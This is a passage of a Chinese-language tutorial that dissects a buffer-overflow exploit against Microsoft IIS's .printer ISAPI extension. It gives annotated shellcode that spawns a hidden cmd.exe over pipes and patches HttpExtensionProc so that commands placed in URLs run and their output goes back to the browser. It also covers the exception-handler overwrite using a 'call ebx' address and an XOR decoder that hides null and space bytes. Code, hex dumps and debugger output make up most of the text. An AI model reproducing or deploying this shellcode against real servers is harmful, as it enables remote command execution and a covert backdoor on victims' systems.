位于地址0x00EFFE40的子程序负责解决指令表中函数们的地址。上面的指令先解决由kernel32.dll输出的函数们的地址,它们的总数12(就是0Ch)在寄存器ecx中,函数的名字们由edi和esi中的指针指向。这些的函数是:LoadLibraryA、CreatePipe、GetStartupInfoA、CreateProcessA、PeekNamedPipe、GlobalAlloc、WriteFile、ReadFile、VirtualProtect、Sleep、ExitProcess、CloseHandle。解决后的函数地址就存放在指令表中。

接下去解决由msw3prt.dll输出的函数(实际上就一个函数HttpExtensionProc)。
*/
00EFFD40 33C0 xor eax,eax
00EFFD42 AC lods byte ptr [esi]
00EFFD43 85C0 test eax,eax
00EFFD45 75F9 jne 00EFFD40 //在指令表中移动指针到下一个字
//符串----MSW3PRT
00EFFD47 52 push edx
00EFFD48 56 push esi
00EFFD49 FF57D0 call dword ptr [edi-30h]
/*
先在指令表中寻找下一个字符串MSW3PRT,然后调用位于指令表[edi-30h]的函数LoadLibraryA把动态联结库MSW3PRT.dll载入。MSDN对LoadLibraryA函数的定义如下:
HMODULE LoadLibrary(
LPCTSTR lpLibFileName // file name of module
);
它需要一个输入参数,也就是指向动态联结库名字的指针。
*/
00EFFD4C 5A pop edx
00EFFD4D 8BD8 mov ebx,eax
00EFFD4F B901000000 mov ecx,1
00EFFD54 E8E7000000 call 00EFFE40
/*
调用00EFFE40处子程序解决函数HttpExtensionProc的地址,
*/
00EFFD59 6800050000 push 500h
00EFFD5E 6A40 push 40h
00EFFD60 FF57E0 call dword ptr [edi-20h]
00EFFD63 894708 mov dword ptr [edi+8],eax
/*
调用指令表中的函数GlobalAlloc(函数地址在[edi-20h]中)在内存中预备(allocate) 500 bytes的空间,把这个内存空间的指针存入[edi+8]中,这个内存空间将作为我们秘密通讯渠道的缓冲区。函数GlobalAlloc的定义:
HGLOBAL GlobalAlloc(
UINT uFlags, // allocation attributes
SIZE_T dwBytes // number of bytes to allocate
);
*/
00EFFD66 C7471C0C000000 mov dword ptr [edi+1Ch],0Ch
00EFFD6D C7472000000000 mov dword ptr [edi+20h],0
00EFFD74 C7472401000000 mov dword ptr [edi+24h],1
00EFFD7B 6A00 push 0
00EFFD7D 8D471C lea eax,[edi+1Ch]
00EFFD80 50 push eax
00EFFD81 8D470C lea eax,[edi+0Ch]
00EFFD84 50 push eax
00EFFD85 8D4710 lea eax,[edi+10h]
00EFFD88 50 push eax
00EFFD89 FF57D0 call dword ptr [edi-30h]
/*
调用函数CreatePipe(地址在[edi-30h]中)制造一个输出Pipe。它的Read Handler将存入地址[edi+10h],而Write Handler将存入地址[edi+0Ch];Pipe Buffer的大小为0----这表示我们将使用系统缺省值;从地址[edi+1Ch]开始的12个字节为Pipe的安全属性,这个Pipe是可继承(inheritable)的、使用缺省security descriptor的Pipe。 函数CreatePipe的定义:
BOOL CreatePipe(
PHANDLE hReadPipe, // read handle
PHANDLE hWritePipe, // write handle
LPSECURITY_ATTRIBUTES lpPipeAttributes, // security attributes
DWORD nSize // pipe size
);
*/
00EFFD8C 6A00 push 0
00EFFD8E 8D471C lea eax,[edi+1Ch]
00EFFD91 50 push eax
00EFFD92 8D4714 lea eax,[edi+14h]
00EFFD95 50 push eax
00EFFD96 8D4718 lea eax,[edi+18h]
00EFFD99 50 push eax
00EFFD9A FF57D0 call dword ptr [edi-30h]
/*
又调用函数CreatePipe制造一个输入Pipe。它的Read Handler将存入地址[edi+18h],而Write Handler将存入地址[edi+14h];Pipe Buffer的大小为省值;这个Pipe同样是可继承(inheritable)的、使用缺省security descriptor的Pipe。
*/
00EFFD9D 8D4728 lea eax,[edi+28h]
00EFFDA0 50 push eax
00EFFDA1 FF57D4 call dword ptr [edi-2Ch]
/*
调用函数GetStartupInfo(地址在[edi-2Ch]中)取得本进程的一系列启动信息(StartupInfo),并把返回的启动信息存入从地址[edi+28h]开始的内存。我们后面要借用这个启动信息来制造一个新的子进程cmd.exe。下面是GetStartupInfo的定义:
VOID GetStartupInfo(
LPSTARTUPINFO lpStartupInfo // startup information
);
*/
00EFFDA4 8B470C mov eax,dword ptr [edi+0Ch]
00EFFDA7 894764 mov dword ptr [edi+64h],eax
00EFFDAA 894768 mov dword ptr [edi+68h],eax
00EFFDAD 8B4718 mov eax,dword ptr [edi+18h]
00EFFDB0 894760 mov dword ptr [edi+60h],eax
00EFFDB3 814F5401010000 or dword ptr [edi+54h],101h
00EFFDBA 66C747580000 mov word ptr [edi+58h],0
00EFFDC0 8D476C lea eax,[edi+6Ch]
00EFFDC3 50 push eax
00EFFDC4 8D4728 lea eax,[edi+28h] //启动信息
00EFFDC7 50 push eax
00EFFDC8 33C0 xor eax,eax
00EFFDCA 50 push eax
00EFFDCB 50 push eax
00EFFDCC 50 push eax
00EFFDCD 6A01 push 1 //子进程继承父进程Handler
00EFFDCF 50 push eax
00EFFDD0 50 push eax
00EFFDD1 8BEF mov ebp,edi
00EFFDD3 81C5A8000000 add ebp,0A8h //偏移0A8h到cmd.exe
00EFFDD9 55 push ebp
00EFFDDA 50 push eax
00EFFDDB FF57D8 call dword ptr [edi-28h]
/*
上面的指令是为了调用函数CreateProcess制造一个隐藏式的子进程cmd.exe。你们看到了,要用这么一大堆的汇编语言来创建这个进程,如果用高级语言象VC++来作同样的事,只需短短的几行;忆苦思甜,我们真应该感谢编写高级语言编译器的人,是他们把大家从干巴巴的汇编语言中解放了出来,大家从此站起来料傲----!!

注意子进程cmd.exe会继承父进程的输入及输出Pipe,将来这两个Pipe就是我们的秘密渠道。函数CreateProcess的地址在[edi-28h]中,它的定义如下:
BOOL CreateProcess(
LPCTSTR lpApplicationName, // name of executable module
LPTSTR lpCommandLine, // command line string
LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
BOOL bInheritHandles, // handle inheritance option
DWORD dwCreationFlags, // creation flags
LPVOID lpEnvironment, // new environment block
LPCTSTR lpCurrentDirectory, // current directory name
LPSTARTUPINFO lpStartupInfo, // startup information
LPPROCESS_INFORMATION lpProcessInformation // process information
);
*/
00EFFDDE FF770C push dword ptr [edi+0Ch]
00EFFDE1 FF57F8 call dword ptr [edi-8]
00EFFDE4 FF7718 push dword ptr [edi+18h]
00EFFDE7 FF57F8 call dword ptr [edi-8]
/*
调用函数CloseHandle(地址在[edi-8h]中)关闭位于[edi+0Ch]的输出Pipe的Write Handler以及位于[edi+18h]的输入Pipe的Read Handler,我们不需要这两个Handler。函数的定义:
BOOL CloseHandle(
HANDLE hObject // handle to object
);

这样,子进程cmd.exe的输入与输出是通过继承下来的Write Handler(地址[edi+14h])与Read Handler (地址[edi+10h])来实现;我们将要通过Write Handler往这个cmd.exe输入命令,通过Read Handler从这个cmd.exe取得命令运行结果。
*/
00EFFDEA 8D4704 lea eax,[edi+4]
00EFFDED 50 push eax
00EFFDEE 6A04 push 4
00EFFDF0 6800010000 push 100h
00EFFDF5 8B57FC mov edx,dword ptr [edi-4]
00EFFDF8 52 push edx
00EFFDF9 FF57EC call dword ptr [edi-14h] //VirtualProtect
/*
在关于ISAPI的介绍中我们提到,象msw3prt.dll这样的ISAPI Extension必须实现并输出函数HttpExtensionProc,这个函数负责处理由IIS转来的HTTP请求。我们这个Exploit的关键就是把这个函数篡改一下,任何对它的调用都直接跳入我们精心设计的、假的HttpExtensionProc中去。这个假的HttpExtensionProc会处理我们的黑客命令:它把镶嵌在URL里面的黑客命令通过输入Pipe传给子进程cmd.exe,待到cmd.exe执行完命令后再把结果通过输出Pipe传回给假HttpExtensionProc,由它通过msw3prt.dll的另一个函数WriteClient返回给Browser。这样MS Internet Explorer或Netscape就成了我们的控制中心去控制有漏洞的Microsoft IIS。

但是我们知道msw3prt.dll在载入内存时,它所占用的内存部分是不可写的,如果我们贸然修改HttpExtensionProc函数,我们会得到访问出错。所以我们必须先调用函数VirtualProtect把HttpExtensionProc那部分内存改为可写,就象上面的指令那样:
*[edi-4]为需要修改访问权限的内存地址,这里就是HttpExtensionProc函数的指针,在dallas上这个指针为0x6a8c77c0;100h指被改变权限的内存大小;4是我们需要的权限;注意HttpExtensionProc原来的权限保留在[edi+4]中,在修改完HttpExtensionProc后我们必须从[edi+4]恢复它原来的权限。

函数VirtualProtect的定义:
BOOL VirtualProtect
LPVOID lpAddress, // region of committed pages
SIZE_T dwSize, // size of the region
DWORD flNewProtect, // desired access protection
PDWORD lpflOldProtect // old protection
);
*/
00EFFDFC 56 push esi
00EFFDFD 53 push ebx
00EFFDFE 8BDF mov ebx,edi
00EFFE00 8DB7B0000000 lea esi,[edi+0B0h]
00EFFE06 83C609 add esi,9
00EFFE09 8D87C0000000 lea eax,[edi+0C0h]
00EFFE0F 8906 mov dword ptr [esi],eax
00EFFE11 83C6F7 add esi,0FFFFFFF7h //$esi=0x00EFFF3c
00EFFE14 8B7BFC mov edi,dword ptr [ebx-4] //$edi=0x6a8c77c0
00EFFE17 B90F000000 mov ecx,0Fh
00EFFE1C F3A4 rep movs byte ptr [edi],byte ptr [esi]
/*
在HttpExtensionProc所占有的内存变成可写以后,我们往那里填写的康熙皇帝的遗书:“传位于黑客码”,而不是众望所归的BillGates码。你们看到,HttpExtensionProc最开始的15个字节被位于0x00EFFF3c的15个字节代替,这15个字节是:
0x00EFFF38 90 90 90 90 90 90 90 90 b8 00 00 f1 exe.............
0x00EFFF48 77 ff d0 00 90 90 90 83 c4 04 60 e8 00 00 00 00 w.........`.....
把它们反汇编:
> u esi
00EFFF3C 90 nop
00EFFF3D 90 nop
00EFFF3E 90 nop
00EFFF3F 90 nop
00EFFF40 90 nop
00EFFF41 90 nop
00EFFF42 90 nop
00EFFF43 90 nop
00EFFF44 B84CFFEF00 mov eax,0EFFF4Ch
00EFFF49 FFD0 call eax

这样任何对ISAPI Extension printer的调用将由这里跳到从0EFFF4Ch开始的假HttpExtensionProc码中。我会在下面一节给出这些假的HttpExtensionProc黑客码。
*/
00EFFE1E 8BFB mov edi,ebx
00EFFE20 5B pop ebx
00EFFE21 5E pop esi
00EFFE22 8D4704 lea eax,[edi+4]
00EFFE25 50 push eax
00EFFE26 8B4704 mov eax,dword ptr [edi+4]
00EFFE29 50 push eax
00EFFE2A 6800010000 push 100h
00EFFE2F 8B57FC mov edx,dword ptr [edi-4]
00EFFE32 52 push edx
00EFFE33 FF57EC call dword ptr [edi-14h] //VirtualProtect
/*
As promised,这里我们恢复HttpExtensionProc所占有的内存原来的权限。
*/
00EFFE36 6800DD6D00 push 6DDD00h
00EFFE3B FF57F0 call dword ptr [edi-10h] //Sleep
00EFFE3E EBF6 jmp 00EFFE36
/*
好!敌方阵地已经被占领,这一节黑客行动顺利地完成了,可以去睡觉了。下一节将由假的HttpExtensionProc黑客码执行URL命令。

Sleep函数的定义:
VOID Sleep(
DWORD dwMilliseconds // sleep time
);
*/
/*
下面是负责解决指令表内函数地址的子程序:
*/
00EFFE40 33C0 xor eax,eax
00EFFE42 AC lods byte ptr [esi]
00EFFE43 85C0 test eax,eax //寻找函数名之间的空格x00
00EFFE45 75F9 jne 00EFFE40 //在指令表中移动指针esi到下一
//个字符串
00EFFE47 51 push ecx //ecx保存需要解决地址的函数总数
00EFFE48 52 push edx
00EFFE49 56 push esi //函数名
00EFFE4A 53 push ebx //输出函数的dll起始地址
00EFFE4B FFD2 call edx //调用getprocAddress,返回的地址
//存入寄存器eax中。
00EFFE4D 5A pop edx
00EFFE4E 59 pop ecx
00EFFE4F AB stos dword ptr [edi]//把寄存器eax中的函数地
//址存入edi指向的位置。
00EFFE50 E2EE loop 00EFFE40 //继续解决下一个函数地址。
00EFFE52 C3 ret
/*
这个子程序依次解决指令表中函数的地址并把解决的地址存回指令表。在子程序执行结束前,edi的指针指向最后解决的函数地址,或者说指向指令表的末端地址,这样我们可以把edi作为基准地址(Base Address)来调用指令表中的函数。

这个子程序的核心是调用函数getprocAddress----call edx,根据MSDN对这个函数的定义:
FARPROC getprocAddressss(
HMODULE hModule // handle to DLL module
LPCSTR lpProcName // function name
);
这个函数的由右向左数的第一个参数lpProcName为函数名,第二个为输出这个函数的dll起始地址hModule。你们也看到了,它们必须由右向左压入堆栈。
*/
00EFFE53 E876FEFFFF call 00EFFCCE
/*
函数指令表:
*/
0x00EFFE58 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 4c GetProcAddress.L
0x00EFFE68 6f 61 64 4c 69 62 72 61 72 79 41 00 43 72 65 61 oadLibraryA.Crea
0x00EFFE78 74 65 50 69 70 65 00 47 65 74 53 74 61 72 74 75 tePipe.GetStartu
0x00EFFE88 70 49 6e 66 6f 41 00 43 72 65 61 74 65 50 72 6f pInfoA.CreatePro
0x00EFFE98 63 65 73 73 41 00 50 65 65 6b 4e 61 6d 65 64 50 cessA.PeekNamedP
0x00EFFEA8 69 70 65 00 47 6c 6f 62 61 6c 41 6c 6c 6f 63 00 ipe.GlobalAlloc.
0x00EFFEB8 57 72 69 74 65 46 69 6c 65 00 52 65 61 64 46 69 WriteFile.ReadFi
0x00EFFEC8 6c 65 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 le.VirtualProtec
0x00EFFED8 74 00 53 6c 65 65 70 00 45 78 69 74 50 72 6f 63 t.Sleep.ExitProc
0x00EFFEE8 65 73 73 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 ess.CloseHandle.
0x00EFFEF8 4d 53 57 33 50 52 54 00 48 74 74 70 45 78 74 65 MSW3PRT.HttpExte
0x00EFFF08 6e 73 69 6f 6e 50 72 6f 63 00 90 90 90 90 90 90 nsionProc.......
0x00EFFF18 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00EFFF28 90 90 90 90 90 90 90 90 90 90 00 00 63 6d 64 2e ............cmd.
0x00EFFF38 65 78 65 00 90 90 90 90 90 90 90 90 b8 00 00 f1 exe.............
0x00EFFF48 77 ff d0 00 90 90 90 83 c4 04 60 e8 00 00 00 00 w.........`.....


Exploit IIS 第三步----黑客渠道:


我们现在来看看假的HttpExtensionProc是如何处理从URL传来的命令的,比如说我们从Netscape发出这样一个的URL:http://dallas/null.printer?net[user,我们需要执行的黑客命令镶嵌在其中,即“net user”。我在这个URL中用“[”符号代替空格,是想避免空格被Netscape或者explorer解释成“%20”,我们的cmd.exe是不会执行命令“net%20user”的;我在假HttpExtensionProc中会把“[”符号由空格符号的ascii码0x20代替,这样传给cmd.exe的命令就是“net user”。

> u 0EFFF4Ch
00EFFF4C 90 nop
00EFFF4D 90 nop
00EFFF4E 90 nop
00EFFF4F 83C404 add esp,4
00EFFF52 60 pushad
00EFFF53 E800000000 call 00EFFF58 //调用下一个指令
00EFFF58 5F pop edi
00EFFF59 81EFCC000000 sub edi,0CCh
/*
上面这个call指令与pop指令只是为了得到当前指令的地址0x00EFFF58,这样你就不需要把一个固定地址硬编在码中,这也是常见的Exploit技术。最后的sub指令得到指令表的末端地址并把它存入edi中,我们需要以这个末端地址为参照物来调用指令表中的函数以及访问通讯渠道的缓冲区。
*/
00EFFF5F 8B5D10 mov ebx,dword ptr [ebp+10h]
/*
ebp寄存器中为堆栈栈底地址(但它并不是真HttpExtensionProc的堆栈栈底地址,大家想想为什么?),这个地址非常重要----因为通过它我们可以得到在ebp+10h中保存的一个重要指针:EXTENSION_CONTROL_BLOCK结构指针。

EXTENSION_CONTROL_BLOCK结构是Microsoft ISAPI编程中常遇到的,我们来看看MSDN中EXTENSION_CONTROL_BLOCK的定义:

typedef struct _EXTENSION_CONTROL_BLOCK {
DWORD cbSize; // Size of this structure.
DWORD dwVersion; // Version info of this specification.
HCONN ConnID; // Context number not to be modified!
DWORD dwHttpStatusCode; // HTTP Status code.
CHAR lpszLogData[HSE_LOG_BUFFER_LEN]; // Null-terminated log info.
LPSTR lpszMethod; // REQUEST_METHOD
LPSTR lpszQueryString; // QUERY_STRING
LPSTR lpszPathInfo; // PATH_INFO
LPSTR lpszPathTranslated; // PATH_TRANSLATED
DWORD cbTotalBytes; // Total bytes indicated from client.
DWORD cbAvailable; // Available number of bytes.
LPBYTE lpbData; // Pointer to cbAvailable bytes.
LPSTR lpszContentType; // Content type of client data.
BOOL (WINAPI * GetServerVariable);
BOOL (WINAPI * WriteClient);
BOOL (WINAPI * ReadClient);
BOOL (WINAPI * ServerSupportFunction);
} EXTENSION_CONTROL_BLOCK;

其中lpszQueryString指向URL“http://dallas/null.printer?net[user”中‘?’符号后面的字符串:“net[user”。在这个结构中还有函数WriteClient指针,我们需要用它往Internet Explorer或Netscape发送黑客命令运行结果。
*/
00EFFF62 6A00 push 0
00EFFF64 57 push edi
00EFFF65 33C0 xor eax,eax
00EFFF67 33D2 xor edx,edx
00EFFF69 8B7364 mov esi,dword ptr [ebx+64h]
/*
[ebx+64h]中保存的就是指针lpszQueryString,它的值为0x01A8203B,在它周围的内容:
> dd esi-0x70 esi+0x50
0x01A81FCB 00003500 00000000 00000000 00000000 .5..............
0x01A81FDB 756e2f00 702e6c6c 746e6972 64007265 ./null.printer.d
0x01A81FEB 6e695c3a 75707465 77775c62 6f6f7277 :\inetpub\wwwroo
0x01A81FFB 756e5c74 702e6c6c 746e6972 47007265 t\null.printer.G
0x01A8200B 00005445 6c756e2f 72702e6c 65746e69 ET../null.printe
0x01A8201B 3a440072 4e49575c 535c544e 65747379 r.D:\WINNT\Syste
0x01A8202B 5c32336d 3377736d 2e747270 006c6c64 m32\msw3prt.dll.
0x01A8203B 5b74656e 72657375 4d4c2f00 5333572f net[user./LM/W3S
0x01A8204B 312f4356 6f6f522f 6f4d0074 6c6c697a VC/1/Root.Mozill
0x01A8205B 2e342f61 2d433135 646c6143 20617265 a/4.51C-Caldera
0x01A8206B 5d6e655b 31582820 49203b31 694c203b [en] (X11; I; Li
0x01A8207B 2078756e 2e322e32 35692035 00293638 nux 2.2.5 i586).
0x01A8208B 00000000 ....
*/
00EFFF6C AC lods byte ptr [esi]
00EFFF6D 42 inc edx
00EFFF6E 83F85B cmp eax,5Bh //5Bh就是“[”的ascii码
00EFFF71 7504 jne 00EFFF77
00EFFF73 C646FF20 mov byte ptr [esi-1],20h //用20h代替5Bh
00EFFF77 85C0 test eax,eax
00EFFF79 75F1 jne 00EFFF6C
00EFFF7B C646FF0D mov byte ptr [esi-1],0Dh
00EFFF7F C6060A mov byte ptr [esi],0Ah 00EFFF82 C6460100 mov byte ptr [esi+1],0
00EFFF86 42 inc edx
/*
上面的指令一方面用空格(ascii码为20h)代替“[”(ascii码为5Bh),一方面寻找黑客命令字符串结尾的“\x00”。在找到这个字符串尾巴以后,还要给尾巴上加上回车、换行与“\x00”符号,这样才构成一个完整的、cmd能理解的命令。
*/
00EFFF87 52 push edx
00EFFF88 FF7364 push dword ptr [ebx+64h]
00EFFF8B FF7714 push dword ptr [edi+14h]
00EFFF8E FF57E4 call dword ptr [edi-1Ch] //调用WriteFile
/*
上面的指令调用函数WriteFile往cmd.exe的输入Pipe的Write Handler(位于[edi+14h])写我们的命令字符串“net user”。函数WriteFile的定义:
BOOL WriteFile(
HANDLE hFile, // handle to file
LPCVOID lpBuffer, // data buffer
DWORD nNumberOfBytesToWrite, // number of bytes to write
LPDWORD lpNumberOfBytesWritten, // number of bytes written
LPOVERLAPPED lpOverlapped // overlapped buffer
);
*/
00EFFF91 6A64 push 64h
00EFFF93 FF57F0 call dword ptr [edi-10h] //Sleep /*
睡着等待命令被执行
*/
00EFFF96 33C9 xor ecx,ecx
00EFFF98 51 push ecx
00EFFF99 57 push edi //lpTotalBytesAvail
00EFFF9A 51 push ecx
00EFFF9B 51 push ecx
00EFFF9C 51 push ecx
00EFFF9D FF7710 push dword ptr [edi+10h] //Read Handler
00EFFFA0 FF57DC call dword ptr [edi-24h] //PeekNamedPipe
00EFFFA3 85C0 test eax,eax
00EFFFA5 7430 je 00EFFFD7
00EFFFA7 803F00 cmp byte ptr [edi],0 //看Pipe中有多少字节。
00EFFFAA 7427 je 00EFFFD3
/*
调用函数PeekNamedPipe看看输出Pipe是否已经有“net user”的执行结果。如果函数调用失败,寄存器eax的值为0,则跳到地址0x00EFFFD7,程序退出执行;如果函数调用成功,但是Pipe中没有字节了(已经读干净了),就跳到地址0x00EFFFD3,退出这次假的HttpExtensionProc调用,等待下一次黑客命令输入。下面是PeekNamedPipe的定义:
BOOL PeekNamedPipe(
HANDLE hNamedPipe, // handle to pipe
LPVOID lpBuffer, // data buffer
DWORD nBufferSize, // size of data buffer
LPDWORD lpBytesRead, // number of bytes read
LPDWORD lpTotalBytesAvail, // number of bytes available
LPDWORD lpBytesLeftThisMessage // unread bytes
);
*/
00EFFFAC 6A00 push 0
00EFFFAE 57 push edi
00EFFFAF 6800050000 push 500h //读取最多0x500h字节
00EFFFB4 FF7708 push dword ptr [edi+8] //缓冲区指针
00EFFFB7 FF7710 push dword ptr [edi+10h] //Read Handler
00EFFFBA FF57E8 call dword ptr [edi-18h] //ReadFile函数
00EFFFBD 85C0 test eax,eax
00EFFFBF 7416 je 00EFFFD7
/*
如果PeekNamedPipe调用后寄存器eax的值为1(也就是true),说明输出Pipe中已经有了执行返回结果,我们紧接着调用函数ReadFile读取返回的字符串。位于[edi+8]的指针值为0x00126260,它指向我们前面用GlobalAlloc预备的0x500h字节缓冲区,返回字符串将暂放在这儿。返回字符串的长度保存在edi寄存器中。我们看看返回的字符串是什么:
*/
> dd 126260
0x00126260 2074656e 72657375 0a0d0a0d 72657355 net user....User
0x00126270 63636120 746e756f 6f662073 5c5c2072 accounts for \\
0x00126280 0d0a0d0d 2d2d2d0a 2d2d2d2d 2d2d2d2d .....-----------
0x00126290 2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262A0 2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262B0 2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262C0 2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262D0 2d2d2d2d 64410a0d 696e696d 61727473 ----..Administra
0x001262E0 20726f74 20202020 20202020 47202020 tor G
0x001262F0 74736575 20202020 20202020 20202020 uest
0x00126300 20202020 20202020 xxxxxxxxxxxxxxxxx IUSR_DAL
0x00126310 xxxxxxxx 20202020 20202020 20202020 LAS
0x00126320 xxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxx ..IWAM_DALLAS
0x00126330 20202020 20202020 20202020 xxxxxxxx moda
0x00126340 xxxxxxxx 20202020 20202020 20202020
0x00126350 20202020 49735420 7265746e 5574656e TsInternetU
0x00126360 20726573 20202020 20202020 0a0d2020 ser ..
0x00126370 xxxxxxxx xxxxxxxx 204e494c 20202020 VUSR_DALLAS
0x00126380 20202020 20202020 540a0d20 63206568 ..The c
0x00126390 616d6d6f 6320646e 6c706d6f 64657465 ommand completed
0x001263A0 74697720 6e6f2068 726f2065 726f6d20 with one or mor
0x001263B0 72652065 73726f72 0a0d0d2e 0a0d0a0d e errors........
0x001263C0 575c3a44 544e4e49 7379735c 336d6574 D:\WINNT\system3
0x001263D0 37303e32 3939312f 30202039 30303a35 2>07/1999 05:00
0x001263E0 20202061 20202020 20202020 31202020 a /*
不知道为什么返回的结果有error?是因为Debug模式造成的?还是因为我刚才跑出去喝酒去了?可能喝得太久了,不过这是小小的问题,不管它了。

函数ReadFile的定义如下:
BOOL ReadFile(
HANDLE hFile, // handle to file
LPVOID lpBuffer, // data buffer
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // number of bytes read
LPOVERLAPPED lpOverlapped // overlapped buffer
);
*/
00EFFFC1 6A00 push 0
00EFFFC3 57 push edi //返回给Client的字符串长度
00EFFFC4 FF7708 push dword ptr [edi+8] //缓冲区指针
00EFFFC7 8B4B08 mov ecx,dword ptr [ebx+8] //ConnID
00EFFFCA 51 push ecx
00EFFFCB FF9384000000 call dword ptr [ebx+84h] //WriteClient
/*
在EXTENSION_CONTROL_BLOCK中,[ebx+8]为ConnID,而[ebx+84h]为CallBack函数WriteClient。我们就用WriteClient往ConnID指定的Client返回结果字符串。这个Client当然就是Netscape或者Internet Explorer啦。
BOOL WriteClient(
HCONN ConnID,
LPVOID Buffer,
LPDWORD lpdwBytes,
DWORD dwSync
);
*/
00EFFFD1 EBBE jmp 00EFFF91
/*
如果执行命令后返回太多的结果(超过0x500字节),缓冲区一次装不下,就跳回地址0x00EFFF91继续从输出Pipe读结果。
*/
/*
下面是假HttpExtensionProc调用返回,以及出错的时候调用exit(1)函数让IIS进程退出。
*/
00EFFFD3 61 popad
00EFFFD4 C20400 ret 4
00EFFFD7 6A01 push 1
00EFFFD9 FF57F4 call dword ptr [edi-0Ch]


Exploit IIS 第四步----重要的百分之二:


如果说我一共要用100分的时间来解释我的黑客码,那么我在前面第二步和第三步中已经用了98%的时间来讲那98%的黑客码,最后剩下的这2%的黑客码只需用2%的时间就可以讲完了。但是你却不能小看了这2%的重要性,如果少了这2%的指令,那其余98%的黑客码也甭想发挥98%的功能----它们只能发挥0%的功能。

我想起上世纪末我申请出国的事情来了:经过一次又一次的英语强化训练、考了寄呀又考托、再考托(因为据说有大规模的TOEFL做弊嫌疑,前一次TOEFL被取消)。然后问学校要材料、填写、搞成绩单推荐信、交申请费(或者赖掉不交),最后就天天等学校回答。过了一天又一天,过了一年又一年终於得到去克来登大学作地震研究的奖学金,高兴极了。当时已经是8月15号了,於是去广州签证,那个拖着鼻涕的签证官说:Yes,I will give you visa!我还没高兴完,他接着说:But you have to arrive US by Augest 31, the visa will expire after that!从领馆出来后马上去打听飞机票的行情,当时还没有恐怖分子劫持飞机去撞大楼,连胆最小的鬼们都敢去坐飞机,我塞,反正是一票难求,最早的票也要到九月份了。当时我就想:99%的努力都已经付出了,难道就这最后一步把我留学美国的计划给毁了?!当然,吉人自有天佑----你们不要误会,我不是说我,我是说我老婆有天佑,我最后是托她的福买到的高价机票!你们当然也是天佑的吉人啦,因为我现在就把那剩下的2%黑客码明明白白的告诉你们。

第一个1%是关于不一样的罗马大道。记得在上一章的Exploit里,溢出后的函数返回地址(RetAddr)被改写成0x77e33f4d,这个地址对应着user32.dll中的“jmp esp”指令,这样程序就沿着“jmp esp”跳回到我们的黑客码中。这一章的Exploit我们要故计重演,我们要改写的目标是Exceptional Handler(就是函数__except_handler3指针),但改写后这个Handler将指向何处呢?限于篇幅,这里我就不仔细分析给你们看了,但是告诉你们答案:我将让被覆盖后的Exceptional Handler指向指令“call ebx”。当Exception发生后,Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前的_EXCEPTION_REGISTRATION_RECORD,也就是地址0x00EFFFDC(请参考Exploit IIS 第一步----Vulerable ISAPI Filter的内存分配),所以Windows系统执行“call ebx”就会跳到地址0x00EFFFDC。这个地址距离我们的黑客码的起始地址不远,而且这个距离是固定的、可以事先计算的(这是我们选择“call ebx”最重要的原因)。当我们通过“call ebx”到达地址0x00EFFFDC后,再作些简单的准备活动(你们下面可以看到),就可以根据计算好的距离从这儿跳到黑客码的开始地址。

指令“call ebx”的二进制码是“FFD3”,用上一章的程序SearchDll可以在kernel.dll中找到这个指令的地址----0x77ed5c99,当然在你们的计算机上可能有不同的地址。

下面就是被覆盖后的_EXCEPTION_REGISTRATION_RECORD:

0x00EFFFDC eb 06 90 90 99 5c ed 77 81 c3 de fc ff ff ff d3 .....\.w........
0x00EFFFEC 0a 00 00 00 00 00 00 00 5a 17 70 6d 01 ef cd ab ........Z.pm....
0x00EFFFFC 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................

把它反汇编:

> u 0xefffdc
00EFFFDC EB06 jmp 00EFFFE4 //准备活动之一:跳跃运动
00EFFFDE 90 nop
00EFFFDF 90 nop
00EFFFE0 。。。 //指向“call ebx”的地址77ed5c99

00EFFFE4 81C3DEFCFFFF add ebx,0FFFFFCDEh //计入与黑客码起 //始地址的之间距离,这是准备活动之二:加减运动
00EFFFEA FFD3 call ebx //跳到黑客码开始地址 //准备作XOR运算
00EFFFEC 0A00 or al,byte ptr [eax]


讲完了第一个1%,现在讲第二个1%。第二个1%是“去空字节”,我想大家都知道是怎么回事:就是在传递黑客码之前,先把它们一个字节一个字节地处理一遍,把里面的空字节“\x00”给去掉,以免黑客码在传递过程中被支解掉;但大家可能不知道的是,在针对IIS的Exploit中,我们还要把黑客码中的字节“\x20”也给去掉,否则黑客码也会被IIS所支解。经过“去空字节”处理后的黑客码可以完整地到达IIS,但在执行它们之前,我们需要对它们作“逆处理”,也就是把它们还原成处理前的样子。

在这个Exploit中,“去空字节”的方法是用“\x96h”与黑客码(其实是98%的那部分)每一个字节作异或(XOR),这样处理后的黑客码中既不含空字节“\x00”,也不含空格字节“_5cx20”,它可以完整地传递到IIS并在logger中造成溢出。在溢出后黑客码开始运行,由于这时的黑客码是经过“\x96h”异或处理的,我们必须用“\x96h”对它再作一次异或,把它的黑客指令与指令表还原,然后它才能正式执行黑客指令(即开始执行Exploit IIS 第二步----黑客行动)。

下面就是用于还原黑客指令与指令表的异或运算:

00EFFCBA 83EBF1 sub ebx,0FFFFFFF1h //从地址0x00EFFCC7开始 //恢复
00EFFCBD 33C9 xor ecx,ecx
00EFFCBF 66B91303 mov cx,313h //总共恢复0x313h个字节
00EFFCC3 803396 xor byte ptr [ebx],96h //XOR“\x96h”
00EFFCC6 43 inc ebx //移动指针到下一个恢复的字节
00EFFCC7 E2FA loop 00EFFCC3 //循环作0x313h次XOR运算。
。。。。。。
(紧接着的是Exploit IIS 第二步----黑客行动的指令)


Exploit IIS 第五步----Exploit Client:


综合前面对黑客码各个部分的介绍,我们可以把它的内存分布情况用下图来表示:

0x00eff500
用0x90909090冲填
0x00EFFCB9
0x00EFFCBA
通过异或运算还原黑客码
0x00EFFCC8
0x00EFFCC9
黑客行动码
0x00EFFE57
